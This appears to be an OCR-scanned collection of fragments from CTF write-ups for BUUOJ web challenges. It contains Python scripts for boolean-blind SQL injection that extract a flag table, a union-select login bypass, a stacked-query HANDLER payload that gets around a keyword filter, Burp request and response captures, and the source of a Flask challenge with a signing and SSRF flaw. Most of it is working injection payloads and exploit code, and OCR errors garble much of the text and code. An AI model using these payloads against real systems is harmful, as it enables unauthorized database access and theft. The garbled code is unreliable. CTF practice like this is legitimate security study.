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All You Want Is In Table 'flag’ and the column is 'flag’

Now, just give the id of passage
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Hello, glzjin wants a girlfriend.
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import requests

url = "http://761df7bf-b293-4bf9-8319-d49755ef57af.node4.buuoj.cn:81/index.php"
len = 1;
while(True):

data = {"id": f"if(length((select(flag)from(flag)))={len},1,0)"}

r = requests.post(url,data=data)

if('Hello, glzjin wants a girlfriend.' in r.text):

break;

print(len,end="\n")

len += 1
print(f"flagkF A{len}")
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import requests
import time
import re
url="http://761df7bf-b293-4bf9-8319-d49755ef57af.node4.buuoj.cn:81/index.php"'
flag = "'
for i in range(1,43):
max = 126
min = 33
for c in range(33,126):
s = (int)((max+min)/2)
payload = '17(ascii(substr((select(flag)from(flag)), "+str(i)+',1))>"+str(s)+")"
r = requests.post(url,data = {'id':payload})
time.sleep(1)
if 'Hello, glzjin wants a girlfriend.' in str(r.text):
max=s
else:
min=s
if((max-min)<=1):
flag+=chr(max)
break
print(flag)
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<html>
¥ <head>..</head>
=+ ¥<body> == $@
P <center>..</center>
</body>
</html>

|UserName |

‘ password ‘
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» <head>..</head>

<body>wrong pass!</body>
</html>
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select * from user where username = ’ $name’
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name=1"' union select 0, 'admin', '81dc9bdb52d04dc20036dbd8313ed@55 "' %23&pw=1234

F#81dc9bdb52d04dc20036dbd8313ed0552 1234 1 md5{E
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Request Response

Pretty Hex \n =

1 POST /search.php HTTP/1.1

Host:

5609b27d-131a-4abb-bb2B-0e5847£4704d.noded. buuo]. cn: 81
Content-Length: 7€

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

Origin:

o W

http://5609b27d-131a-4abb-bb28-0e5847£4704d.node4. buuoj. cn:

8l

Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOWE4)
AppleWebKit/537.36 (FHTML, like Gecko) Chrome/84.0.4147.89
Safari/537.36 SLBrowser/7.0.0.12151 SLBChan/105
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1 HTTP/1l.1 200 OK
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Server: openresty

Date: Sun, 24 Apr 2022 07:59:05 GMT
Content-Type: text/html
Content-Length: 258

Connection: close

Vary: Accept-Encoding

% ¥X-Powered-By: PHP/5.3.29

0 <! --MMZFMAZZESHDASKDNSTVU3SKOZRFGORPMMZ FMEKJJBSGEWSTIJWESSC

WPINFQSTVLFLTC3CIIQYGOSTZKIZVSVZRNRFHOPJS5-->
<meta http-equiv="Content-Type" content="text/html;
charsec=utf-8" />

0

Accept:

text/html ,application/xhtml+xml,application/xml;q=0.9, image 12 <title>
/webp,image/apng,*/*;q=0.8,application/signed-exchange ;v=b3 Do you know who am I?
:q=0.9 </title>

0 Referer: 13
htep: //5609b27d-131a-4abb-bbZ28-025847£d704d.node4. buuoj.cn: 14
81/ 15

1 Accept-Encoding: gzip, deflate 1
Accept-Language: zh-CN,zh;q=0.9 1
3 Cookie: UM_distinctid=
17efc51b20557£-070a855046cfEe-50594151-1bcab%-17efc51b20E2E

3

Connection: close

flag{be558775-18bc-47¢c1-b228-cb511e215094d}
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¢ name=1' union select
0, 'adnin','8ldcSbdb52d04dc20036dbdB313.d055' $23spw=1234
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return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);
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1';handler FlagHere open;handler FlagHere read first;handler FlagHere close;

HANDLER .. OPENIEAJFTHF—ANK, (W LAf# A5 4LHANDLER .. READIEA]V5IA,
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#! /usr/bin/env python #encoding=utf-8 from flask import Flask from flask import request import socket impo

import Flask from flask

import request

import socket

import hashlib

import urllib

import sys

import os

import json

reload(sys)
sys.setdefaultencoding('latinl")

app = Flask(__name_ )
secert_key = os.urandom(16)

class Task:
def __init_ (self, action, param, sign, ip):
self.action = action
self.param = param
self.sign = sign
self.sandbox = md5(ip)
if (not os.path.exists(self.sandbox)):
os.mkdir(self.sandbox)
def Exec(self):
result = {}
result['code'] = 500
if (self.checkSign()):
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param)

if (resp == "Connection Timeout"):
result['data'] = resp

else:
print resp

tmpfile.write(resp)
tmpfile.close()
result['code'] = 200
if "read" in self.action:
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()
if result['code'] == 500:
result['data’']l = "Action Error"



else :
result['code'] = 500
result['msg'] = "Sign Error"
return result
def checkSign(self):
if (getSign(self.action, self.param) == self.sign): return True
else :return False# generate Sign For Action Scan.
@app.route("/geneSign", methods = ['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action,param)
@app.route('/Delta', methods = ['GET', 'POST'])
def challenge():
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))
ip = request.remote_addr
if (waf(param)):
return "No Hacker!!II"
task = Task(action, param, sign, ip)
return json.dumps(task.Exec())
@app.route('/")
def index(): return open("code.txt", "r").read()
def scan(param):
socket.setdefaulttimeout (1)
try: return urllib.urlopen(param).read()[: 50]
except: return "Connection Timeout"
def getSign(action, param): return hashlib.md5(secert_key + param + action).hexdigest()
def md5(content): return hashlib.md5(content).hexdigest()
def waf(param):
check = param.strip().lower()
if check.startswith("gopher") or check.startswith("file"): return True
else :return False

if __name__ == '__main__"':

app.debug = False
app.run(host = '0.0.0.0', port = 80)
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